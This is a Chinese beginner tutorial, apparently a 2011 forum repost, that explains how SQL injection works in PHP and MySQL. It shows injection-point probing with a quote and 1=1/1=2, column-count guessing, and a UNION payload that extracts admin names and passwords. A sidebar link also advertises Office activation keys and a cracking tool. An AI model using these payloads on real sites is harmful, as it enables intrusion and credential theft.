[黑客攻防 零基礎學習]什么是注入 Whats SQL Injection?
时间:2011-10-18
来源:互联网
代码无罪 - 是你又是你还是你,从注入谈起
注入这个词自从数据库与动态脚本诞生至今日,一直是黑客们乐不此彼的谈论话题,现在Injection的思想已经不仅仅限于SQL当中,File Include,Command Execution等等,已经延伸到了WEB入侵的各种手段中。
我想要说的并不是如何去注入一个网站,而是注入的原理。
作者:Juliet @ Silic Group
我以php+MySQL为例来讲述注入是如何发生的
我们首先来看一个网址的构造:
xxoo.com / info.php ? articleid = 123
这里是域名 脚本文件名 变量名 变量的取值
脚本执行读取数据库操作的时候,会根据变量取值的不同,读取不同的数据,像这种体现在URL上面的取值方式叫做GET取值
当articleid变量取值为123时,我们假设一下在服务器中会有怎样的代码运行?
- SELECT * /* Select函数读取信息 */
- FROM infotable /* 从products数据表中 */
- WHERE id='123';/* false condition满足条件时 */
实际系统执行的代码是这样的:
- select * from infotable where id = '123';
info.php?articleid=123'
后面多了一个单引号,那么比较一下系统原本执行的语句有什么变化:
- select * from infotable where id = 123;
- select * from infotable where id = 123';
注:计算机编程得不到想要的结果,错误分两种,一种是语法错误,一种是逻辑错误。后面认真阅读你会慢慢明白区别开的
这也就是为什么判断是否为注入点的第一步要在网址后面加单引号的原因了(加单引号出错不能确定网址为注入点,只是判断的一个步骤而已
于是后面的1=1和1=2的目的也就清楚了
- select * from infotable where id = 123;
- select * from infotable where id = 123 and 1 = 1;//事实上1就是1,所以应该返回正常页面
- select * from infotable where id = 123 and 1 = 2;//事实上,计算机中1永远也不等于2,发生逻辑错误,所以返回错误页面
union注入的第一步通常是猜字段数
假设注入点是新闻页面,那么页面中执行的SQL语句就是:
- select title,date,author,news,comm from news where id = 12;
但是,必须保证前后的字段数相同,例如上面这个语句
- select title,date,author,news,comm from news where id = 12;
- select title,date,author,news,comm from news where id = 12 union select name,password,3,4,5 from admin;
- //news是新闻表段,admin是管理员信息表段
- //管理员信息表段明显没有union前面news表段里面包含的字段数多所以使用数字3到5替代,数字无固定格式,可以使1 2和3,也可以是111111和4435435或者干脆用null空来代替
- info.php?id=12+union+select+name,password,3,4,5+from+admin
- //SQL注入中,加号用来代表空格的意思,因为有些浏览器会自动将空格转换成%20,有碍观瞻
由于程序员编写的程序我们并不知道他在数据库中设置了几个字段,所以通常我们都是先进行字段数的猜测,也就是:
- info.php?id=12+union+select+1
- info.php?id=12+union+select+1,2
- info.php?id=12+union+select+1,2,3
- info.php?id=12+union+select+1,2,3,4
- info.php?id=12+union+select+1,2,3,4,5
- //你也可以用order by来猜,用法可以自己搜一下
你可以阅读本系列帖子的后续帖子了
作者: WL佳佳 发布时间: 2011-10-18
好啊,考虑转载一下
作者: 流风33 发布时间: 2011-10-18
学习
作者: Dolphinsimon 发布时间: 2011-10-18
相关阅读 更多
热门阅读
-
office 2019专业增强版最新2021版激活秘钥/序列号/激活码推荐 附激活工具
阅读:74
-
如何安装mysql8.0
阅读:31
-
Word快速设置标题样式步骤详解
阅读:28
-
20+道必知必会的Vue面试题(附答案解析)
阅读:37
-
HTML如何制作表单
阅读:22
-
百词斩可以改天数吗?当然可以,4个步骤轻松修改天数!
阅读:31
-
ET文件格式和XLS格式文件之间如何转化?
阅读:24
-
react和vue的区别及优缺点是什么
阅读:121
-
支付宝人脸识别如何关闭?
阅读:21
-
腾讯微云怎么修改照片或视频备份路径?
阅读:28